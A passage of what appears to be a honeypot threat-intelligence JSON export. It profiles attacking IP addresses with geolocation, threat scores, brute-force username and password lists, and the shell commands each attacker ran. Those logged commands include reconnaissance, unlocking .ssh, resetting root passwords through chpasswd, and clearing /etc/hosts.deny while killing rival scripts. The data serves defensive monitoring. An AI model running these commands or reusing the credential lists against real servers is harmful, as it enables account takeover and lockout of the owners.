      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 516,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T17:01:11.906000+00:00",
        "last_seen_30d": "2026-04-23T07:50:32.280000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 393,
        "Suricata": 123
      }
    },
    "8.245.17.190": {
      "attack_count": 387,
      "first_seen": "2026-04-07T18:17:47.864Z",
      "last_seen": "2026-04-21T02:59:37.494Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "anna",
        "frappe",
        "ubuntu",
        "deploy",
        "hb",
        "infoserve",
        "jerry",
        "minecraft",
        "oguz",
        "oracle",
        "postgres",
        "roots",
        "sammy",
        "steam",
        "teamspeak",
        "test",
        "usuario2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123!@#qwe",
        "12345",
        "12345678",
        "1Qwertyuiop",
        "@info2025!",
        "A12345678",
        "AA123456789",
        "AAxx000",
        "Aa@123456",
        "Admin@9000",
        "BBzz112233",
        "Lg!123456",
        "Nihao123",
        "P@ssw0rd12345",
        "P@ssw0rd2025",
        "QWE1234567890",
        "Qwe@2024",
        "Qweasd123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"anna\\nKTCHdYA36qF1\\nKTCHdYA36qF1\\n\"|passwd",
        "echo \"root:bo6PYDs7G2cm\"|chpasswd|bash",
        "echo -e \"anna\\nKTCHdYA36qF1\\nKTCHdYA36qF1\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 3356,
      "as_org": "Level 3 Parent, LLC",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 511,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T18:17:47.864000+00:00",
        "last_seen_30d": "2026-04-21T03:00:43.255000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 387,
        "Suricata": 124
      }
    },
    "103.106.194.74": {
      "attack_count": 331,
      "first_seen": "2026-04-10T22:33:38.104Z",
      "last_seen": "2026-04-10T23:20:53.194Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "dev",
        "user",
        "ali",
        "amits",
        "css",
        "michele",
        "node",
        "op",
        "postgres",
        "tecnopos",
        "test03",
        "test1",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "147258",
        "2023!",
        "8080",
        "Ali$",
        "Bot20!",
        "DDcc000",
        "Nikhil@123",
        "ROOT",
        "Test.123",
        "User",
        "User06!",
        "amits",
        "asd123",
        "asdfasdf",
        "bot09",
        "css"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"asdfasdf\\nE3HDbFsPqfR4\\nE3HDbFsPqfR4\\n\"|passwd",
        "echo \"bot09\\nIVlJXEjgVW1H\\nIVlJXEjgVW1H\\n\"|passwd",
        "echo \"root:pyCQuelHmetD\"|chpasswd|bash",
        "echo -e \"asdfasdf\\nE3HDbFsPqfR4\\nE3HDbFsPqfR4\"|passwd|bash",
        "echo -e \"bot09\\nIVlJXEjgVW1H\\nIVlJXEjgVW1H\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 134319,
      "as_org": "Elyzium Technologies Pvt. Ltd.",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T22:33:38.104000+00:00",
        "last_seen_30d": "2026-04-10T23:21:54.785000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 71
      }
    },
    "34.124.213.151": {
      "attack_count": 331,
      "first_seen": "2026-04-12T12:04:52.137Z",
      "last_seen": "2026-04-12T12:50:06.547Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "postgres",
        "jenkins",
        "edge",
        "jordi",
        "mail",
        "omar",
        "oracle",
        "teamspeak",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "Ali18",
        "Ali20!",
        "Letmein.123!@#",
        "Password2024",
        "QWER123456",
        "QWERQWER1234",
        "Za123456",
        "edge@123",
        "jordi",
        "omar123",
        "oracle05",
        "postgres",
        "postgres12345",
        "postgres14",
        "qazwsx0@",
        "qazwsx123@#",
        "qazwsx54321.."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nwCUZhJcOGanT\\nwCUZhJcOGanT\\n\"|passwd",
        "echo \"Ali18\\noUxcBd7noaTX\\noUxcBd7noaTX\\n\"|passwd",
        "echo \"root:zcfZWK2S3m2y\"|chpasswd|bash",
        "echo -e \"123\\nwCUZhJcOGanT\\nwCUZhJcOGanT\"|passwd|bash",
        "echo -e \"Ali18\\noUxcBd7noaTX\\noUxcBd7noaTX\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T12:04:52.137000+00:00",
        "last_seen_30d": "2026-04-12T12:51:07.210000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 71
      }
    },
    "103.134.154.79": {
      "attack_count": 330,
      "first_seen": "2026-04-06T10:48:30.841Z",
      "last_seen": "2026-04-06T11:50:58.489Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mc",
        "odoo",
        "steam",
        "test",
        "app",
        "newuser",
        "oracle",
        "prowlarr",
        "teamspeak",
        "tom",
        "ubuntu",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "1234",
        "Abc123456#",
        "Abcd1234!@#",
        "Admin12345#",
        "CC",
        "Cordun2026@",
        "P@ssw0rd2025!",
        "PASSword",
        "QWEASDzxc123",
        "Qwertyui123456",
        "Teamspeak1234",
        "abc123###",
        "dell@123",
        "hello123",
        "odoopass",
        "oracle8",
        "prowlarr"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"odoopass\\n3H672TUuB3WH\\n3H672TUuB3WH\\n\"|passwd",
        "echo \"root:Ruas6LwhAUDq\"|chpasswd|bash",
        "echo \"test\\nwWxgIMOmC7zf\\nwWxgIMOmC7zf\\n\"|passwd",
        "echo -e \"odoopass\\n3H672TUuB3WH\\n3H672TUuB3WH\"|passwd|bash",
        "echo -e \"test\\nwWxgIMOmC7zf\\nwWxgIMOmC7zf\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T10:48:30.841000+00:00",
        "last_seen_30d": "2026-04-06T11:52:04.283000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 73
      }
    },
    "43.156.159.195": {
      "attack_count": 304,
      "first_seen": "2026-04-03T03:15:59.183Z",
      "last_seen": "2026-04-03T04:23:35.028Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Password123",
        "123456.aa",
        "123456Lh",
        "998877",
        "Cc123456789",
        "Hb@123456",
        "Passw0rd2025",
        "Passw0rd@123",
        "Password-123",
        "R6jT6kfs",
        "admin@pass",
        "amor",
        "ctyun",
        "hc123456987",
        "poli",
        "qwe456",
        "sa12345",
        "wasdwasd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:99VVTGCDTJ1k\"|chpasswd|bash",
        "echo \"root:OHjmJdxyjSxQ\"|chpasswd|bash",
        "echo \"root:Wn1ZnZl66sGc\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:15:59.183000+00:00",
        "last_seen_30d": "2026-04-03T04:24:44.892000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 63
      }
    },
    "121.125.70.58": {
      "attack_count": 261,
      "first_seen": "2026-04-10T16:34:37.321Z",
      "last_seen": "2026-04-10T17:17:44.904Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "demo",
        "deploy",
        "ftp1user",
        "git",
        "media",
        "nodered",
        "s",
        "teamspeak",
        "test1",
        "user",
        "vyatta",
        "zhangsan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "123",
        "12345",
        "123456789",
        "1234567890Qwertyuiop",
        "1QAZ2wsx!",
        "Qazwsx12345!@#",
        "QweAsdZxc",
        "Root11111@123",
        "Root123321@",
        "Ss123456",
        "Teamspeak!@",
        "XXaa112233",
        "brian123",
        "ftp1user",
        "git!2025",
        "media",
        "nodered"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:nFor1iSSY40M\"|chpasswd|bash",
        "echo \"root:w4tKHArAE9Kz\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seo-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T16:34:37.321000+00:00",
        "last_seen_30d": "2026-04-10T17:18:48.454000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 67
      }
    },
    "86.110.51.47": {
      "attack_count": 247,
      "first_seen": "2026-04-16T00:15:12.197Z",
      "last_seen": "2026-04-16T00:50:27.883Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "alex",
        "seedbox",
        "test",
        "docker",
        "ftpuser",
        "kiosk",
        "odoo",
        "odoo17",
        "oracle",
        "pzuser",
        "temp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test123",
        "123123",
        "12345678",
        "147258",
        "AAAAAA",
        "Ftpuser12!",
        "Odoo@",
        "Qazwsx1$",
        "Root2026@@",
        "Test27!",
        "alex2025",
        "dockeruser",
        "huawei@2025",
        "oracle28",
        "palworld",
        "password",
        "redhat",
        "root"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:kbZ5ryDkD7xS\"|chpasswd|bash",
        "echo \"seedbox\\nRG0hWIRdO8En\\nRG0hWIRdO8En\\n\"|passwd",
        "echo -e \"seedbox\\nRG0hWIRdO8En\\nRG0hWIRdO8En\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 46475,
      "as_org": "Limestone Networks, Inc.",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T00:15:12.197000+00:00",
        "last_seen_30d": "2026-04-16T00:51:28.935000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 57
      }
    },
    "118.127.40.41": {
      "attack_count": 236,
      "first_seen": "2026-04-01T01:49:02.366Z",
      "last_seen": "2026-04-01T03:06:55.472Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@12QWaszx",
        "123!@#qaz",
        "147",
        "1q2w3e@12",
        "1qwe2asd3zxc",
        "Qwerty2025",
        "Test123",
        "aaa888",
        "admon",
        "asdfgqwert",
        "attach",
        "centos7",
        "josephine",
        "qazwsxedc2025",
        "rootroot12",
        "testtest1234",
        "vfr4BGT%nhy6",
        "yY123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:SQ1H7mXHWKZP\"|chpasswd|bash",
        "echo \"root:lneBkk67O2fW\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 45671,
      "as_org": "Wholesale Services Provider",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:49:02.366000+00:00",
        "last_seen_30d": "2026-04-01T03:07:59.348000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "165.154.6.102": {
      "attack_count": 236,
      "first_seen": "2026-04-27T17:51:15.869Z",
      "last_seen": "2026-04-27T18:11:43.775Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "4513adkK",
        "Huanying2026",
        "Inspur_2024@Win",
        "Long2024",
        "P@ss123",
        "Qw@123456",
        "Ucas@orionx2024",
        "[root]",
        "amit@123",
        "apache03",
        "asdfg1234%",
        "beautiful",
        "dsfdsgfhjghkjlkhjgfgdfdssfdgfhgfdgf",
        "esqooel.com",
        "letmein",
        "nagiosnagios",
        "root111",
        "serverroot123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0zBn6iTIsnXn\"|chpasswd|bash",
        "echo \"root:pZLr3ZDQ7GfJ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:51:15.869000+00:00",
        "last_seen_30d": "2026-04-27T18:12:46.883000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 52
      }
    },
    "144.91.88.152": {
      "attack_count": 221,
      "first_seen": "2026-04-02T17:47:10.574Z",
      "last_seen": "2026-04-02T19:05:35.007Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123445",
        "1@2@3@4@5@6",
        "A12345@",
        "Abcdef",
        "Bd123456",
        "Electronic@123",
        "Eshore!!1",
        "P@55w0rd77",
        "Royal@123",
        "Sterling",
        "blonde",
        "filip",
        "kakakaka",
        "mehmet123",
        "root123a",
        "tomtom",
        "xxxxx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3SwSgdHXVvKa\"|chpasswd|bash",
        "echo \"root:8TJeSYE2Glzt\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 273,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:47:10.574000+00:00",
        "last_seen_30d": "2026-04-02T19:06:40.769000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 221,
        "Suricata": 52
      }
    },
    "158.174.211.17": {
      "attack_count": 194,
      "first_seen": "2026-04-20T17:18:41.612Z",
      "last_seen": "2026-04-20T18:16:41.318Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "shin",
        "ubuntu",
        "345gs5662d34",
        "appuser",
        "botuser",
        "deploy",
        "duser",
        "john",
        "juan",
        "kali",
        "marc",
        "prod",
        "sftpuser",
        "steam",
        "user"
      ],
      "passwords_attempted": [
        "123",
        ".1Password",
        "1111",
        "11235813",
        "123admin",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin12!@",
        "Admin123456789.",
        "Qazwsx321!@",
        "XXqq000",
        "a123456t",
        "admin1234567!@#",
